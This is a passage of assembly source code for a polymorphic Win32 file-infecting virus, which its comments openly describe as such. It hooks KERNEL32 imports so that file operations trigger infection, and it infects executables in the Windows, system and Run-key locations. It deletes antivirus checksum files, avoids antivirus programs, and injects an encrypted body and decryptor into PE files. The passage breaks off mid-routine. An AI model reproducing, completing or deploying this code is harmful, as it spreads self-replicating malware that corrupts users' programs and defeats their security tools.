lodsd ; Load RVA to function
or eax, eax ; If 0, error, so exit
jz @@End
mov ecx, 10h ; Check that address with the ones got
repnz scasd ; directly from KERNEL32
jnz @@Loop_001
or ecx, ecx
jnz @@Next
lea eax, [esi-4]
mov [ebp+ExitProcessInImport], eax
; jmp @@Loop_001
@@Next: sub edi, ebx ; If someone coincides, patch it with
mov eax, [ebp+edi+FunctionsAddress-4] ; ours
add eax, ebp

pushad
mov dword ptr [ebp+DwordToWrite], eax
push 0
push 4
lea eax, [ebp+DwordToWrite]
push eax
lea eax, [esi-4]
push eax
call dword ptr [ebp+RVA_GetCurrentProcess]
push eax
call dword ptr [ebp+RVA_WriteProcessMemory]
; mov [esi-4], eax
jmp @@Loop_001 ; Next function in the import array
@@End: ret
PatchImportDirectory endp

DwordToWrite dd 0

FunctionsAddress label dword


dd offset My_GetProcAddress ; This ones are the addresses to the
dd offset My_CreateFileA ; per-process functions. This addresses
dd offset My_CreateProcessA ; plus the delta offset are stored into
dd offset My_FindFirstFileA ; the array of imported functions to
dd offset My_FindNextFileA ; patch them, so if the host call any
dd offset My_GetFileAttributesA ; of this functions the virus takes
dd offset My_SetFileAttributesA ; the control and performs the infec-
dd offset My_GetFullPathNameA ; tion activities.
dd offset My_MoveFileA
dd offset My_CopyFileA
dd offset My_DeleteFileA
dd offset My_WinExec
dd offset My__lopen
dd offset My_MoveFileExA
dd offset My_OpenFile
dd offset My_ExitProcess

;,,,,,,,,,,,,,,,,,,,,,,,,,
;; PER-PROCESS FUNCTIONS ;
;'''''''''''''''''''''''''
GetDelta proc
mov eax, 12345678h ; This is set on run-time, at the
org $-4 ; beginning. It's shorter than making
DeltaOffset2 dd 0 ; a CALL/POP/SUB in every function
ret
GetDelta endp

; GetProcAddress: Patching this we ensure that the host receives our function
; address rather than the KERNEL32 one. In this way, if
; GetProcAddress is used over one of the patched functions to
; call that address directly, it'll call our function first.
My_GetProcAddress proc
call GetDelta ; EAX=Delta offset
push ecx ; Save ECX
add eax, offset @@ReturnHere ; Calculate return
; address
mov ecx, eax ; Put it on ECX...
xchg eax, [esp+4] ; ...and substitute the return
; into the stack by ours.
mov [ecx+1], eax ; Save the real return address
; in [ReturnGetProcAddress]
pop ecx ; Restore ECX
call GetDelta ; Get delta in EAX...
mov eax, [eax+RVA_GetProcAddress] ; and jump to
jmp eax ; GetProcAddress, but return...
; ...here!
@@ReturnHere: db 68h
ReturnGetProcAddress dd 0 ; Push return to host (set before)
or eax, eax ; EAX=0?
jz @@Return ; Error, so return
pushad ; Save all
push eax ; Save function address
call GetDelta
xchg ebp, eax ; EBP=Delta offset
pop eax ; Restore function address
lea esi, [ebp+RVA_GetProcAddress]
; ESI=Begin address of functions
lea edi, [ebp+RVA_GetProcAddress+10h*4]
; EDI=End address of functions
mov ebx, esi
xchg ecx, eax
@@Loop_GPA: lodsd ; Load first RVA
cmp eax, ecx ; Compare the kernel returned RVA
; with the RVA that we got scanning
; the kernel at first
jnz @@Next_GPA ; If it isn't equal, jump
sub esi, ebx ; Put in ESI the address of the per-
add esi, ebp ; process function
mov eax, [esi+FunctionsAddress+4] ; Load it
mov [esp+1Ch], eax ; Substitute RVA to function
; by our function address
jmp @@Return2 ; End
@@Next_GPA: cmp esi, edi ; Already at the end of the array?
jnz @@Loop_GPA ; If not, loop
@@Return2: popad ; Restore registers
@@Return: ret ;Return to host with the substituted RVA (if done)
My_GetProcAddress endp

;; CreateFileA: Infection on opening


My_CreateFileA proc
call GetDelta ; EAX=Delta offset
mov eax, [eax+RVA_CreateFileA] ; EAX=RVA to func.
; jmp InfectByPerProcess ; Jump to common part
My_CreateFileA endp

InfectByPerProcess proc
push eax ; Save RVA to function
pushad
call GetDelta
xchg ebp, eax ; EBP=Delta offset
mov ebx, [esp+28h] ; EBX=RVA to the name of the
; file to operate
InfectThisPath: lea eax, [ebp+FindFileField] ; EAX=RVA to data
; storage
push eax ; Store it to use FindFirstFile
push ebx ; Store the RVA to the name of the file
call dword ptr [ebp+RVA_FindFirstFileA] ; Find it
inc eax
jz @@Return ; If error (not found), return
dec eax
mov esi, ebx
lea edi, [ebp+FileName]
cld
@@LoopCopy:
movsb
cmp byte ptr [edi-1], 0
jnz @@LoopCopy

push eax ; Save handle


call InfectFile ; Infect that file using the data
; in FindFileField
call dword ptr [ebp+RVA_FindClose] ; Close the
; pushed handle
@@Return: popad ; Restore regs
ret ; Jump to kernel function
InfectByPerProcess endp

InfectDirectly proc
pushad
jmp InfectThisPath
InfectDirectly endp

;; CreateProcessA: Infection on execution


My_CreateProcessA proc
call GetDelta
mov eax, [eax+RVA_CreateProcessA]
jmp InfectByPerProcess
My_CreateProcessA endp ; EAX=RVA to Kernel32.CreateProcessA

FindFirstIdent db 0 ; This is used to identify FindFirstFileA or


; FindNextFileA

; FindNextFileA: Infection by file enumeration


My_FindNextFileA proc
call GetDelta ; EAX=Delta offset
mov byte ptr [eax+FindFirstIdent], 0
jmp Common_FindFile
My_FindNextFileA endp

My_FindFirstFileA proc
call GetDelta ; EAX=Delta offset
mov byte ptr [eax+FindFirstIdent], 1
Common_FindFile: add eax, offset @@ReturnHere ; EAX=Return address
; for calling the KERNEL32 function
; and returning here and not to the
; host
push ecx ; Save ECX
mov ecx, eax ; ECX=Return address
xchg eax, [esp+4] ; Set it onto stack and EAX is
; now the return address to the
; host
mov [ecx+1], eax ; Save it in @@ReturnHere+1
mov eax, [esp+0Ch] ; We put the buffer address...
mov [ecx+0Dh], eax ; ...here
pop ecx ; We restore ECX
call GetDelta ; EAX = Delta offset
cmp byte ptr [eax+FindFirstIdent], 1
jz @@PutFindFirst ; If =1, call to FindFirstFileA
@@PutFindNext: mov eax, [eax+RVA_FindNextFileA]
jmp eax ; Call FindNextFileA
@@PutFindFirst: mov eax, [eax+RVA_FindFirstFileA]
jmp eax ; Call FindFirstFileA
@@ReturnHere: db 68h ; PUSH Value
dd 0 ; +1
pushad ; +5 ; Save registers
inc eax ; +6 ; Error?
jnz @@ItsOK ; +7 ; If not, jump
dec eax ; +9 ; Restore EAX
jmp @@Return ; +A ; Return to host
@@ItsOK: db 0BEh ; MOV ESI,Value ; +C ; ESI=Address to
@@ESIValue: dd 0 ; +D ; data field
call GetDelta
xchg ebp, eax ; EBP=Delta offset
lea edi, [ebp+FindFileField] ; EDI=Our data field
mov ecx, FindFileFieldSize ; Copy the data retrie-
cld ; ved by the function to our
rep movsb ; data field
dec byte ptr [ebp+InfectFileNow] ; Decrease infec-
; tion counter
jnz @@Return ; If it's not 0, don't infect
mov byte ptr [ebp+InfectFileNow], 3 ; Set this to
; 3, to infect only one of
; every three files listed by
; this function
call InfectFile ; Infect file
@@Return: popad
ret ; Restore regs and return
My_FindFirstFileA endp

InfectFileNow db 3 ; Infection counter

; GetFileAttributesA: Infection by getting attributes


My_GetFileAttributesA proc
call GetDelta
mov eax, [eax+RVA_GetFileAttributesA]
jmp InfectByPerProcess
My_GetFileAttributesA endp ; EAX=RVA to Kernel32.GetFileAttributesA

; SetFileAttributesA: Infection by setting attributes


My_SetFileAttributesA proc
call GetDelta
mov eax, [eax+RVA_SetFileAttributesA]
jmp InfectByPerProcess
My_SetFileAttributesA endp ; EAX=RVA to Kernel32.SetFileAttributesA

; GetFullPathNameA: Infection by getting the full path name of a file


My_GetFullPathNameA proc
call GetDelta
mov eax, [eax+RVA_GetFullPathNameA]
jmp InfectByPerProcess
My_GetFullPathNameA endp ; EAX=RVA to Kernel32.GetFullPathNameA

; MoveFileA: Infection by moving a file


My_MoveFileA proc
call GetDelta
mov eax, [eax+RVA_MoveFileA]
jmp InfectByPerProcess
My_MoveFileA endp ; EAX=RVA to Kernel32.MoveFileA

; CopyFileA: Infection by copying a file


My_CopyFileA proc
call GetDelta
mov eax, [eax+RVA_CopyFileA]
jmp InfectByPerProcess
My_CopyFileA endp ; EAX=RVA to Kernel32.CopyFileA

; DeleteFileA: Infection by deleting a file.


; Although it could seem stupid, remember the Recycle Bin!
My_DeleteFileA proc
call GetDelta
mov eax, [eax+RVA_DeleteFileA]
jmp InfectByPerProcess
My_DeleteFileA endp ; EAX=RVA to Kernel32.DeleteFileA

; WinExec: Infection by execution (old Win32, for compatibility with Win16)


My_WinExec proc
call GetDelta
mov eax, [eax+RVA_WinExec]
jmp InfectByPerProcess
My_WinExec endp ; EAX=RVA to Kernel32.WinExec

; _lopen: Infection by opening (old Win32, for compatibility with Win16)


My__lopen proc
call GetDelta
mov eax, [eax+RVA__lopen]
jmp InfectByPerProcess
My__lopen endp ; EAX=RVA to Kernel32._lopen

; MoveFileExA: Infection by moving (extended, but the same as MoveFileA)


My_MoveFileExA proc
call GetDelta
mov eax, [eax+RVA_MoveFileExA]
jmp InfectByPerProcess
My_MoveFileExA endp ; EAX=RVA to Kernel32.MoveFileExA

; OpenFile: Infection by opening (old Win32, earlier than CreateFileA)


My_OpenFile proc
call GetDelta
mov eax, [eax+RVA_OpenFile]
jmp InfectByPerProcess
My_OpenFile endp ; EAX=RVA to Kernel32.OpenFile

My_ExitProcess proc ; Patch ExitProcess just in case the applica-


jmp LastFunction ; tion calls it without making an
My_ExitProcess endp ; explicit call (and thus it can't
; be patched)

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;
;;; RUN-TIME INFECTION
;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; This will infect one file of each four in the current, windows and system
;; directory (as always). If the files AVP.CRC, ANTI-VIR.DAT, CHKLIST.MS or
;; IVB.NTZ are found, they'll be deleted.
RuntimeInfection proc
call LoadSFCFunctions ; Load SFC.DLL library
call LoadIMAGEHLPFunctions ; Load IMAGEHLP.DLL library

call LoadRegistryFunctions
or eax, eax
jz @@NoRegistry
;;; Infectar directamente varios paths
;;; de programas instalados
; HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\
; \WinZip
; HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
mov dword ptr [ebp+SubkeyIndex], 0

mov byte ptr [ebp+RunKeyEnd-1], 0


lea eax, [ebp+HandleOpenedKey]
push eax
push KEY_ALL_ACCESS
push 0
lea eax, [ebp+RunKey]
push eax
push HKEY_LOCAL_MACHINE
call dword ptr [ebp+RVA_RegOpenKeyExA]
or eax, eax
jnz @@EndOfKeys
@@LoopSubkeys:
lea eax, [ebp+LongBuffer]
mov dword ptr [eax], 80h
push eax
lea eax, [ebp+Directory2]
push eax
push 0
push 0
lea eax, [ebp+LongBuffer2]
mov dword ptr [eax], 80h
push eax
lea eax, [ebp+Directory1]
push eax
push dword ptr [ebp+SubkeyIndex]
push dword ptr [ebp+HandleOpenedKey]
call dword ptr [ebp+RVA_RegEnumValueA]
or eax, eax ; Error?
jnz @@EndOfKeys ; Exit, then

lea esi, [ebp+Directory2]


mov ecx, 80h
@@LoopSearchExtension:
cmp byte ptr [esi], 0
jz @@NextSubkey
dec ecx
jz @@NextSubkey
inc esi
mov edx, [esi]
call ToLower
cmp edx, 'exe.'
jnz @@LoopSearchExtension
cmp byte ptr [esi+4], 0
jz @@NameOK
cmp byte ptr [esi+4], 20h
jnz @@LoopSearchExtension
mov byte ptr [esi+4], 0
@@NameOK:
lea ebx, [ebp+Directory2]
call InfectDirectly

@@NextSubkey:
inc dword ptr [ebp+SubkeyIndex]
jmp @@LoopSubkeys

@@EndOfKeys2:
push dword ptr [ebp+HandleOpenedKey]
call dword ptr [ebp+RVA_RegCloseKey]
@@EndOfKeys:
push dword ptr [ebp+HandleADVAPI32]
call dword ptr [ebp+RVA_FreeLibrary]

@@NoRegistry:
call InfectCurrentDir ; Self-explanatory ;)
lea eax, [ebp+Directory2]
push eax
push 80h
call dword ptr [ebp+RVA_GetCurrentDirectoryA] ; Save the
; current directory
call InfectWindowsDir ; Infect the Win dir
call InfectSystemDir ; Infect windows\system dir
lea eax, [ebp+Directory2] ; Restore the current dir
push eax
call dword ptr [ebp+RVA_SetCurrentDirectoryA]
cmp dword ptr [ebp+HandleSFC], 0
jz @@Next1
push dword ptr [ebp+HandleSFC]
call dword ptr [ebp+RVA_FreeLibrary]
@@Next1:
cmp dword ptr [ebp+HandleIMAGEHLP], 0
jz @@Next2
push dword ptr [ebp+HandleIMAGEHLP]
call dword ptr [ebp+RVA_FreeLibrary]
@@Next2:
xor eax, eax
mov dword ptr [ebp+HandleSFC], eax
mov dword ptr [ebp+HandleIMAGEHLP], eax
mov dword ptr [ebp+RVA_CheckSumMappedFile], eax
mov dword ptr [ebp+RVA_SfcIsFileProtected], eax
ret ; Return
RuntimeInfection endp

RunKey db 'Software\Microsoft\Windows\CurrentVersion\Run\'
RunKeyEnd label byte
Directory1 db 80h dup (0) ; Place to get the windows, etc. dirs
Directory2 db 80h dup (0) ; Place to save the current directory

LoadRegistryFunctions proc
lea eax, [ebp+RegistryDLL]
push eax
call dword ptr [ebp+RVA_LoadLibraryA]
or eax, eax ; Error?
jz @@Return ; Exit, then
mov [ebp+HandleADVAPI32], eax ; Save handle
lea esi, [ebp+ASC_RegistryFunctions] ; Names of functions
lea edi, [ebp+RVA_RegistryFunctions] ; Storage of RVAs
@@NextRVA: push esi
push edi
push esi
push dword ptr [ebp+HandleADVAPI32]
call dword ptr [ebp+RVA_GetProcAddress] ; Get the address
or eax, eax ; Error?
jz @@Return ; Exit, then
pop edi
pop esi
mov dword ptr [edi], eax ; Save RVA
add edi, 4
@@LoopNextFunc:
inc esi ; Next char
cmp byte ptr [esi], 0 ; End of name?
jnz @@LoopNextFunc ; If not, continue increasing
inc esi ; Jump over the 0
cmp byte ptr [esi], 0 ; Another 0?
jnz @@NextRVA ; If not, continue getting names
mov eax, 1
@@Return: ret
LoadRegistryFunctions endp

InfectSystemDir proc
mov ebx, [ebp+RVA_GetSystemDirectoryA]
Common_InfectDir: ; EBX=RVA of GetSystemDirectory
push 80h
lea eax, [ebp+Directory1]
push eax
call ebx ; GetSystemDirectory or GetWindowsDirectory
or eax, eax ; If error, end
jz @@Return
call SetDirectory1 ; Set that directory
call InfectCurrentDir ; Infect the directory files
@@Return: ret ; Return
InfectSystemDir endp

InfectWindowsDir proc
mov ebx, [ebp+RVA_GetWindowsDirectoryA]
jmp Common_InfectDir ; EBX=RVA of GetWindowsDirectory
InfectWindowsDir endp ; Jump to the common part of this
; function and the InfectSystemDir

SetDirectory1 proc
lea eax, [ebp+Directory1] ; Set the directory on this
push eax ; address (windows or system)
call dword ptr [ebp+RVA_SetCurrentDirectoryA]
ret ; Return
SetDirectory1 endp

InfectCurrentDir proc
call DeleteDATs ; Delete some antivirus CRC protections
lea ecx, [ebp+FindFileMask1] ; ECX=RVA to *.EXE
call InfectCurrentDir2 ; Infect EXEs
lea ecx, [ebp+FindFileMask2] ; ECX=RVA to *.SCR
call InfectCurrentDir2 ; Infect SCRs
lea ecx, [ebp+FindFileMask3] ; ECX=RVA to *.CPL
call InfectCurrentDir2 ; Infect CPLs
ret ; Return
InfectCurrentDir endp

InfectCurrentDir2 proc
call Random ; Get a random counter to begin infection
and al, 3
mov [ebp+FileInfectionCounter], al
lea ebx, [ebp+FindFileField]
push ebx
push ecx
call dword ptr [ebp+RVA_FindFirstFileA] ; Find first file
inc eax ; Error?
jz @@Fin0 ; Then, jump
dec eax
mov dword ptr [ebp+FindFileHandle], eax ; Save handle
@@InfectAgain: cmp byte ptr [ebp+InfectAllFiles], 1 ;For infect all files
jz @@InfectAll ; instead of one of each four
dec byte ptr [ebp+FileInfectionCounter] ; Counter in -1?
jns @@DontInfect ; If not, don't infect
mov byte ptr [ebp+FileInfectionCounter], 3 ;Set count to 3
@@InfectAll: call InfectFile ; Infect the found file
@@DontInfect: lea ebx, [ebp+FindFileField] ; Get next file
push ebx
push dword ptr [ebp+FindFileHandle]
call dword ptr [ebp+RVA_FindNextFileA]
or eax, eax ; If no error or more files, jump and
jnz @@InfectAgain ; continue infection
push dword ptr [ebp+FindFileHandle] ; Close handle
call dword ptr [ebp+RVA_FindClose]
@@Fin0: ret ; Return
InfectCurrentDir2 endp

FindFileHandle dd 0
FileInfectionCounter db 0

;; InfectFile
;;------------
;; This function uses the data in FindFileField to infect the file that repre-
;; sents, so that's why in some parts of the virus I copy the data about the
;; file in that field before calling this.
InfectFile proc
cmp dword ptr [ebp+FileSizeLow], 00002004h
jb @@End
lea ebx, [ebp+FileName] ; EBX=RVA to the file name
; This function checks if the file name begins with TB (ThunderByte),
; SC (Scan and similars, usually McCaf‚), F- (F-Potatoe), PA (Panda
; Antivirus), DR (DrWeb) or NO (Nod-Ice), or it has a V in its name
; (many antivirus programs have it: AVP, INVIRCIBLE, CPAV, etc.)
call CheckFileName
jc @@End ; Carry Flag means that is a "forbidden" name,
; so we exit if CF is set
cmp dword ptr [ebp+RVA_SfcIsFileProtected], 0 ; Could be
; SFC.DLL loaded?
jz @@NoWin2000 ; If not, we're not in Win2000
push ebx
push 0 ; Check file against Win2K protection
call dword ptr [ebp+RVA_SfcIsFileProtected]
or eax, eax ; If 0, it isn't protected
jnz @@End ; If not 0, it's protected, so don't infect
@@NoWin2000:
push 80h ; Clear file attributes (remove a posible
lea ebx, [ebp+FileName] ; read-only attribute). I haven't
push ebx ; to save the old attributes coz they are
call dword ptr [ebp+RVA_SetFileAttributesA] ; saved in the
; FindFileField structure
call OpenFile ; Open file
jc @@End2 ; CF=We couldn't, so exit
call SaveDateTime ;Save date and time stamp. It's saved in
;the FindFileField structure, but I dunno
;why when I used that data the timestamp
;weren't restored correctly, and it was
;when I used this, so I use it.
call MapFile ; Open a mapping over the file
jc @@End3 ; If we couldn't, exit
; After this, the mapping address is stored in EAX and
; [MappingAddress]
mov edi, eax ; EDI=Mapping address
cmp word ptr [edi], 'ZM' ; Has the file executable struct?
jnz @@End4 ; If not, exit
mov esi, [edi+3Ch] ; Get PE header address
cmp esi, 2000h
ja @@End4 ; Maybe compressed DOS-EXE
add esi, edi
cmp word ptr [esi], 'EP' ; Is there a PE header?
jnz @@End4 ; If not, exit

;; ESI=PE header address, EDI=Mapping address (beginning of file)

;; The way we infect the files:


;; 0) We check the last section. If it is .rsrc, then the file can be infec-
;; ted. Otherwise, that last section must be .reloc, to be anulated. If that
;; section isn't the .reloc section, the file can't be infected, since it
;; could be infected already.
;; 1) The section .reloc (if exists) is anulated.
;; 2) If there isn't any reloc section, we create a new section if the PE
;; header has enough empty space to do it. If not, we end infection. When
;; we create that section, we set it as if it were an anulated .reloc.
;; 2) We check if the last is quite big to contain the virus. If not, we make
;; it bigger.
;; 4) We copy the virus to the last and we change the name of the section by
;; another randomly generated
;; 3) We copy from .text to the end of the last section (after the virus) the
;; portion of code that is going to be overwritten. Both virus and this data
;; are copied already encrypted.
;; 5) We overwrite .text section with the decryptor (we check if .text is big
;; enough to contain this).
;; 6) When execution, .text must be restored from the saved data.

movzx ebx, word ptr [esi+14h] ; Size of this header


movzx ecx, word ptr [esi+06h] ; Number of sections
mov word ptr [ebp+Sav_NumberOfSections], cx
lea ebx, [ebx+esi+18h] ; EBX=Address of the first section
mov eax, 28h ; EAX = Size of one section header
push ebx
push ecx
dec ecx
mul ecx
add ebx, eax ; EBX=Address of last section
sub ebx, edi ; EBX=Physical address in the mapped file
mov [ebp+LastHeader], ebx ; Save it here
pop ecx ; Restore some values (new EAX=old EBX)
pop eax ; EAX=Address of first section header
mov dword ptr [ebp+TextHeader], 0 ; Set to 0 to know if
mov dword ptr [ebp+RelocHeader], 0 ; this values has been
mov dword ptr [ebp+BssSection], 0 ; found when we end the
; loop
push edi
push ecx
push eax
lea edi, [ebp+SectionNames]
mov ecx, 30h / 4
xor eax, eax
rep stosd
pop eax
pop ecx
pop edi

@@Loop_001: cmp dword ptr [eax], 'xet.' ; Does it begin like .text?
jnz @@LookForReloc ; If not, do next check
cmp dword ptr [eax+4], 0+'t' ; .text?
jnz @@NextSection ; If not, look next section
mov byte ptr [ebp+SectionNames+0], 1
sub eax, edi
mov [ebp+TextHeader], eax ; Physical address of .text
add eax, edi ; Restore address
jmp @@NextSection2 ; Look next section
@@LookForReloc: cmp dword ptr [eax], 'ler.' ; Does it begin like .reloc?
jnz @@LookForBss ; If not, do next check
cmp dword ptr [eax+4], 0+'co' ; .reloc?
jnz @@NextSection ; If not, look next section
sub eax, edi
mov [ebp+RelocHeader], eax ; Physical address of .reloc
add eax, edi
jmp @@NextSection2 ; Look next section
@@LookForBss: cmp dword ptr [eax], 'ssb.' ; Does it begin like .bss?
jnz @@LookForIdata ; If not, do next check
cmp dword ptr [eax+4], 0 ; .bss?
jnz @@NextSection ; If not, look next section
mov byte ptr [ebp+SectionNames+1], 1
push eax
mov eax, [eax+0Ch] ; Save the RVA of the section for
add eax, [esi+34h] ; later use in the poly engine.
mov [ebp+BssSection], eax
pop eax
jmp @@NextSection2 ; Look next section
@@LookForIdata: cmp dword ptr [eax], 'adi.' ; Does it begin like .idata?
jnz @@NextSection ; If not, do next check
cmp dword ptr [eax+4], 0+'at' ; .idata?
jnz @@NextSection ; If not, look next section
or byte ptr [eax+24h+3], 80h ;make it writable (Win98 SE)
; jmp @@NextSection ; If not, per-process fails
@@NextSection: pushad
mov edi, eax
xor edx, edx
lea esi, [ebp+SZSectionNames]
@@LoopNS_001:
push edi
push esi
xor ecx, ecx
@@LoopNS_002:
cmpsb
jnz @@NextNS_001
inc ecx
cmp ecx, 8
jnz @@LoopNS_002
mov byte ptr [ebp+edx+SectionNames], 1
pop esi
pop edi
jmp @@NextNS_002
@@NextNS_001:
pop esi
pop edi
add esi, 8
inc edx
cmp byte ptr [esi], 0
jnz @@LoopNS_001
@@NextNS_002:
popad

@@NextSection2: add eax, 28h ; Next section


dec ecx
jnz @@Loop_001 ; Repeat it for every section
cmp [ebp+TextHeader], ecx ; 0? ; Text header found?
jz @@End4 ; If not, end infection
mov ebx, [ebp+RelocHeader]
or ebx, ebx ; Is there .reloc section?
jz @@CreateNew ; If not, create a new section
cmp ebx, [ebp+LastHeader] ; Is the last section the reloc?
jnz @@End4 ; If it isn't, exit
mov dword ptr [esi+0A0h], 0
mov dword ptr [esi+0A4h], 0 ; Anulate the fixup directory
jmp @@ContinueWithReloc
@@CreateNew: mov ebx, [ebp+LastHeader] ; Get the last header address
cmp dword ptr [ebx+edi], 'rsr.' ; Is .rsrc?
jnz @@End4
cmp dword ptr [ebx+edi+4], 0+'c'
jnz @@End4 ; If it isn't, end infection
mov byte ptr [ebp+SectionNames+2], 1
mov ebx, [ebp+LastHeader]
add ebx, edi ; Get the last header address
lea ecx, [ebx+28h] ; Get the new section address
xor eax, eax
@@LoopCheckIfHole:
cmp dword ptr [ecx+eax], 0 ; Check if all that space is 0
jnz @@End4 ; If not, there isn't space for creating
add eax, 4 ; a new section. We check it in all the
cmp eax, 28h ; 40 bytes of required space.
jb @@LoopCheckIfHole

; mov byte ptr [ecx], '.' ; Set the '.' of the name
mov dword ptr [ecx+08h], Virus_SizePOW2 ; The virtual size
; will be the required
mov eax, [ebx+08h] ; The physical address of the section
xor edx, edx ; will be the physical address of the
push ecx ; (before) last section plus its vir-
mov ecx, [esi+38h] ; tual size rounded to the section
div ecx ; physical alignment.
inc eax
mul ecx
pop ecx
add eax, [ebx+0Ch]
mov dword ptr [ecx+0Ch], eax ; Set that address
mov dword ptr [ecx+10h], 0 ; Set its physical size to
; 0 to force its readjustement
mov eax, [ebx+14h] ; The RVA of the new section will be
add eax, [ebx+10h] ; the RVA of the last plus its vir-
mov dword ptr [ecx+14h], eax ; tual size.
mov dword ptr [ecx+24h], 0A0000020h ; READABLE/WRITABLE/
; /EXECUTABLE
sub ecx, edi ; Get the mapping address of this
; section
mov [ebp+RelocHeader], ecx ; Save it here
inc word ptr [esi+06h] ;Increase the number of sections
@@ContinueWithReloc:
mov eax, [esi+28h] ; Get the initial RVA of the EXE
mov ebx, [esi+34h]
add eax, ebx ; Add the base address...
mov [ebp+InicIP], eax ; ...and save it
mov [ebp+ImageBase], ebx ; Save the base address, too

mov eax, [ebp+TextHeader] ; Get the mapped address of the


add eax, edi ; .text header in the file
; Check if it's big enough to hold a decryptor (physically and virtually)
cmp dword ptr [eax+08h], Host_Data_Size
jae @@OK_WithtextSize
cmp dword ptr [eax+10h], Host_Data_Size
jae @@OK_WithtextSize
@@P_End5: mov ax, word ptr [ebp+Sav_NumberOfSections]
mov word ptr [esi+06h], ax
jmp @@End4
@@OK_WithtextSize:
mov ebx,
[eax+0Ch] ; EBX=Virtual address of .text
mov eax,
[ebp+RelocHeader]
add eax,
edi
mov eax,
[eax+0Ch] ; EAX=Virtual address of last sect.
lea ecx,
[ebx+Host_Data_Size] ; ECX=Maximum address where
; the decryptor can reach
mov edx, 78h ; EDX=Address inside the PE header where
; the directories start
;; Now we are going to check if any directory would be inside the decryp-
;; tor and then overwritting the code when automatic data like import RVAs
;; and all that are set by the kernel.
@@LoopDirCheck:
cmp dword ptr [esi+edx], ebx ;Check begin address of .text
jb @@NextDirCheck ; If below, then it's OK
cmp dword ptr [esi+edx], ecx ; Check max address in .text
jb @@P_End5 ; If below, it overwrites the
; decryptor, so finish
cmp dword ptr [esi+edx], eax ; Check RVA of last section
jae @@P_End5 ; If it overwrites the encrypted data, end
@@NextDirCheck:
add edx, 8 ; Next directory
cmp edx,0C8h ; End of directories?
jb @@LoopDirCheck ; If not, loop again

mov eax, [ebp+RelocHeader]


add eax, edi ; Get mapped address of last section header
mov ebx, Virus_SizePOW2 ; If the virtual size isn't big
cmp dword ptr [eax+08h], ebx ; enough, make it bigger
jae @@SizeIsOK_1
mov dword ptr [eax+08h], Virus_SizePOW2
@@SizeIsOK_1: mov ebx, [eax+0Ch] ; Calculate new virtual total size
add ebx, [eax+08h]
; add ebx, 1000h ; Add 1000h to be sure...
; Removed due to heuristic alert (virtual end of last section
; must coincide with virtual end of whole executable).

mov [esi+50h], ebx ; ...and put it on its header field

mov ebx, Virus_Size + Host_Data_Size ; Check now the


cmp dword ptr [eax+10h], ebx ; physical size
jae @@SizeIsOK_2
@@SizeIsNotOK: sub ebx, [eax+10h] ; Calculate the new physical size
mov ecx, eax ; of the last section and of all the
xchg ebx, eax ; file. If the last section is the
mov ebx, [esi+38h] ; .reloc and it's big enough to hold
xor edx, edx ; the virus (Virus_Size +
div ebx ; Host_Data_Size), then the file
or edx, edx ; doesn't grow in size.
jz @@RemainderIs0
inc eax
@@RemainderIs0:
mul ebx
add [ecx+10h], eax

add [ebp+FileSizeLow], eax


call UnmapFile ; Close this mapping
call MapFile ; Open a mapping with the new size
jc @@End3
; Here, the file is prepared to hold the virus
@@SizeIsOK_2:
mov dword ptr [ebp+MappingAddress], eax
mov edi, eax
mov esi, [edi+3Ch] ; This operations are made coz
add esi, edi ; maybe the mapping address
mov [ebp+PEHeaderAddress], esi ; changed when resizing.

mov eax, [ebp+TextHeader]


add eax, edi ; EAX=Address of .text header (map)
mov ebx, [eax+0Ch] ; New entrypoint of the executable
mov [esi+28h], ebx ; is the starting address of .text
; virtually
add ebx, [esi+34h] ; Add the base address of exec...
mov [ebp+RestoreAddress], ebx ; ...and we have the virtual
; address of text. We have
; to restore the host here.
mov ebx, [eax+08h]
mov [ebp+SizeOfText], ebx

mov ecx, [eax+14h] ; Get the physical address of the


add ecx, edi ; section in ECX

mov eax, [ebp+RelocHeader]


add eax, edi ; EAX=Phys. address of last sec. head.
or dword ptr [eax+24h], 0A0000020h ; Make it EXECUTABLE/
; /WRITABLE/READABLE

call ConstructNameForReloc

push edi
xchg edi, eax ; EAX=Mapping address
mov edi, [ebp+RelocHeader]
add edi, eax
mov edi, [edi+14h] ; EDI=Physical address of the last
add edi, eax ; section inside the executable, now
; mapped

call CalculateAPIsAddresses

push eax
call Random ; EAX=Random value, and one of the values
mov dword ptr [ebp+CryptValue2], eax ; the virus will be
; crypted with

;; This function creates a new decryptor at the beginning of the virus,


;; but with a normal polymorphism level. This avoids cryptanalisis and
;; all that.
call ModifyDumbDecryptor
pop eax

push esi ; ESI=Virus start


lea esi, [ebp+Inic_Virus]
mov ecx, Virus_Size / 4 ; Errrmh... size in dwords, maybe?
; :)
push eax
mov byte ptr [ebp+CopyingVirus], 1 ; This controls the
; first 3Ch bytes, to check
; if we have to encrypt with
; one or two encryption keys
; (the first 3Ch bytes are the
; little decryptor)
call EncryptWhileStoring ; OK, so that
pop eax

mov esi, [ebp+TextHeader]


add esi, [ebp+MappingAddress]
mov esi, [esi+14h]
add esi, [ebp+MappingAddress] ; ESI=Host code address
mov ecx, Host_Data_Size / 4
mov byte ptr [ebp+CopyingVirus], 0
call EncryptWhileStoring ; Store the overwritten data
; of the host encrypting it

mov eax, [ebp+RelocHeader]


add eax, [ebp+MappingAddress]
mov ecx, [eax+10h]
sub ecx, Virus_Size + Host_Data_Size
or ecx, ecx
jz @@JumpFillSection_002
call Random
and eax, 01FFh
cmp eax, ecx
jbe @@JumpFillSection_001
mov eax, ecx
@@JumpFillSection_001:
sub ecx, eax
mov edx, ecx
xchg ecx, eax
@@LoopFillSection_001:
call Random
stosb
loop @@LoopFillSection_001
mov ecx, edx
or ecx, ecx
jz @@JumpFillSection_002
xor al, al
rep stosb
@@JumpFillSection_002:
pop esi
pop edi

mov eax, [ebp+TextHeader]


add eax, edi
mov ebx, [eax+0Ch]
add ebx, [esi+34h] ; EBX=Virtual address where the de-
; cryptor will be
mov ecx, [eax+14h]
add ecx, edi ; ECX=Physical place where the de-
; cryptor will be constructed

mov eax, [ebp+RelocHeader]


add eax, edi
mov eax, [eax+0Ch]
add eax, [esi+34h]
sub eax, ebx ; EAX=Displacement from the decryptor
; start until the encrypted part. I
